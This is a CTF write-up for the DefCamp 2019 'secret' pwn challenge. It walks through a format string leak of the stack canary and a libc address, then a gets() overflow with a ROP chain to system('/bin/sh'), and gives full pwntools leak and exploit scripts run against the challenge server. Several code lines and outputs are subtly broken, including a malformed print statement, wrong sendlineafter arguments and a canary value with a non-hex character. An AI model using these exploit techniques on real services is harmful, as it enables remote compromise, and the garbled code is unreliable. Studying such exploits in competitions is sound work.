

# DefCamp Qualifiers 2019: secret

*Posted on September 8, 2019*

This binary had a format string vulnerability + a stack buffer overflow vulnerability. We use the format string vulnerability to leak the stack canary and a libc address from the stack. Calculate libc base address then find the address of `system` and a `/bin/sh` string, then call `system("/bin/sh")` to get a shell.

## Challenge

- **Category:** pwn
- **Points:** 162
- **Solves:** 55

*Target: 206.81.24.129:1339*

*Download [binary](#)*

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# Solution

This challenge is practically identical to Not So Easy Bof from HackCon 2019. You can find my writeup for that challenge [here](#). I'll skip a lot of the in depth stuff. The binary has all protections enabled except Full RELRO.

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/secret$ checksec secret
[*] '/ctf/pwn-and-rev/defcamp-2019/pwn/secret/secret'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

To start off with, I open the binary in IDA to disassemble it. In this case the binary is simple enough to just use the decompiler, but you should realize that I usually only use the decompiler as a guide to see what I should really take a look at, and then use the actual disassembly to understand it.

The main function is as follows:

```
1. int __cdecl main(int argc, const char **argv, const char **envp)
2. {
3.     char s; // [rsp+0h] [rbp-50h]
4.     unsigned __int64 v5; // [rsp+48h] [rbp-8h]
5.
6.     v5 = __readfsqword(0x28u);
7.     setvbuf(stdin, 0LL, 2, 0LL);
8.     setvbuf(_bss_start, 0LL, 2, 0LL);
9.     memset(&s, 0, 0x40uLL);
```

```
10. printf("Enter your name?\nName: ");
11. read(0, &s, 0x40uLL);
12. printf("Hillo ");
13. printf(&s); // FORMAT STRING VULNERABILITY HERE
14. secret();
15. return 0;
16. }
```

We see a format string vulnerability at line 13, as well as a call to `secret()`. The secret function does the following:

```
1. unsigned __int64 secret()
2. {
3.     char s1; // [rsp+0h] [rbp-90h]
4.     unsigned __int64 v2; // [rsp+88h] [rbp-8h]
5.
6.     v2 = __readfsqword(0x28u);
7.     printf("Enter secret phrase !\nPhrase: ");
8.     gets(&s1); // BUFFER OVERFLOW VULNERABILITY HERE
9.     printf("Entered secret > %s .\n", &s1);
10.    if ( !strcmp(&s1, "supersecret dctf2019") )
11.        puts("\nYou entered the same string two times");
12.    else
13.        puts("\nEntered strings are not same!");
14.    return __readfsqword(0x28u) ^ v2;
15. }
```

Here we see a buffer overflow vulnerability at line 8.

The key takeaway is that stack canaries are enabled, so in order to exploit this, my plan is the following:

1. Use the format string vulnerability to leak the stack canary from the stack as well as a libc address from the stack
2. Use the buffer overflow vulnerability to hijack program execution and jump to a one gadget in libc

Now before we begin, the challenge didn't provide a libc file, so I first just leaked a couple addresses off the stack on the remote server using the following script:

```
#!/usr/bin/env python2

from pwn import *

context.log_level = 'critical'
BINARY = './secret'

for i in range(1, 26):
    #p = process(BINARY)
    p = remote('206.81.24.129', 1339)
    p.sendlineafter(':', 'AAAAAAAA %{}$lx'.format(i))
    print '%02d: %(i) + p.recvline()[:-1]'
    p.close()

print ''
```

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/secret$ ./leak.py
01: Hillo AAAAAAAAA 7ffd17473a40
02: Hillo AAAAAAAAA 7f0489d77780
03: Hillo AAAAAAAAA 7fb1ac3332c0
04: Hillo AAAAAAAAA 7fc48cc0c700
05: Hillo AAAAAAAAA 6
06: Hillo AAAAAAAAA 4141414141414141
07: Hillo AAAAAAAAA a786c24372520
08: Hillo AAAAAAAAA 0
```

```
09: Hillo AAAAAAAA 0
10: Hillo AAAAAAAA 0
11: Hillo AAAAAAAA 0
12: Hillo AAAAAAAA 0
13: Hillo AAAAAAAA 0
14: Hillo AAAAAAAA 7ffc69e731c0
15: Hillo AAAAAAAA 50c8a62af6681400
16: Hillo AAAAAAAA 55844e558c40
17: Hillo AAAAAAAA 7f9da5e8c830
18: Hillo AAAAAAAA 0
19: Hillo AAAAAAAA 7ffe154e1b08
20: Hillo AAAAAAAA 100000000
21: Hillo AAAAAAAA 55d0bb425b6d
22: Hillo AAAAAAAA 0
23: Hillo AAAAAAAA 1b80133a664fcb03
24: Hillo AAAAAAAA 55abfbc8960
25: Hillo AAAAAAAA 7ffd7da3f850
```

Now using gdb on my local machine, I know that the address at offset 2 is the libc address of `_IO_stdfile_1_lock_`, while the value at offset 15 is the stack canary.

Now the libc address at offset 2 changed constantly, but the last 12 bits were always `0x780`. I ran the local binary on multiple VMs with different libc versions, and found that the remote binary is using `libc-2.23` as that was the only one where the address at offset 2 ended with `0x780`. Now knowing this, I used gdb with an Ubuntu Xenial VM (which comes with `libc-2.23`) to find that the address at offset 2 is always `libc_base_address + 0x3c6780`.

I also found out using gdb that the number of bytes I have to type in before reaching the stack canary in the `secret()` function is 136 bytes.

For more information about how exactly I do all of the above, please check out [my writeup for Not So Easy Bof from HackCon 2019](#) which is basically the same challenge. My writeup for that challenge goes more in depth about the steps taken.

Next, I just leak the stack canary at offset 15 and the libc address at offset 2. I then calculate the libc base address, and since none of the one shot gadgets were working, I find the addresses of `system()` and the `/bin/sh` string. I then create the buffer overflow payload knowing that it will be `136bytes + 8byte_stack_canary + 8byte_saved_ebp + return_address`.

The following script will do the job:

```
#!/usr/bin/env python2

from pwn import *

HOST, PORT = '206.81.24.129', 1339
BINARY = './secret'

elf = ELF(BINARY)
libc = ELF('./libc-2.23.so') # libc.so.6 from Ubuntu Xenial

def start():
    if not args.REMOTE:
        return process(BINARY)
    else:
        return remote(HOST, PORT)

p = start()

# canary offset is 136 bytes, index 15
# libc offset 0x3c6780 for address index 2
```

```

p.sendlineafter(':', ' ', '0x%2$lx-0x%15$lx') # Leak libc address (idx 2) and the canary (idx
leaks = p.recvline().split('-')

libc.address = int(leaks[0].split(' ')[1], 16) - 0x3c6780
canary = int(leaks[1], 16)
one_gadget = 0xf1147 # 0x45216, 0x4526a, 0xf02a4 <- none of the gadgets worked
system = libc.symbols['system']
bin_sh = libc.search('/bin/sh').next()
pop_rdi = libc.address + 0x21102 # found using ROPgadget on libc-2.23.so

log.info('libc base: ' + hex(libc.address))
log.info('canary: ' + hex(canary))
log.info('system: ' + hex(system))
log.info('/bin/sh: ' + hex(bin_sh))
log.info('pop rdi: ' + hex(pop_rdi))

payload = 'A'*136 # Write upto canary
payload += p64(canary) # Write the canary so we can smash the stack without it complainin
payload += 'B'*8 # Overwrite ebp
payload += p64(pop_rdi) # Jump to pop rdi gadget
payload += p64(bin_sh) # Put address of '/bin/sh' string into rdi
payload += p64(system) # call system("/bin/sh")

p.sendlineafter(':', ' ', payload)

p.interactive()

p.close()

```

```

vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/secret$ ./exploit.py REMOTE
[*] '/ctf/pwn-and-rev/defcamp-2019/pwn/secret/secret'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found

```

```
NX:      NX enabled
PIE:      PIE enabled
[*] '/ctf/pwn-and-rev/defcamp-2019/pwn/secret/libc-2.23.so'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:      NX enabled
PIE:      PIE enabled
[+] Opening connection to 206.81.24.129 on port 1339: Done
[*] libc base: 0x7f4154a32000
[*] canary: 0x7d10bab19eleaf00
[*] system: 0x7f4154a77390
[*] /bin/sh: 0x7f4154bbed57
[*] pop rdi: 0x7f4154a53102
[*] Switching to interactive mode
Entered secret > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Entered strings are not same!
$ ls
flag
pwn
readme
$ cat flag
DCTF{17AF6D77BFDAC4CAF6CD2FD2F3EB85FB654D2E36745F926169C0958333496979}$
```

Flag: DCTF{17AF6D77BFDAC4CAF6CD2FD2F3EB85FB654D2E36745F926169C0958333496979}

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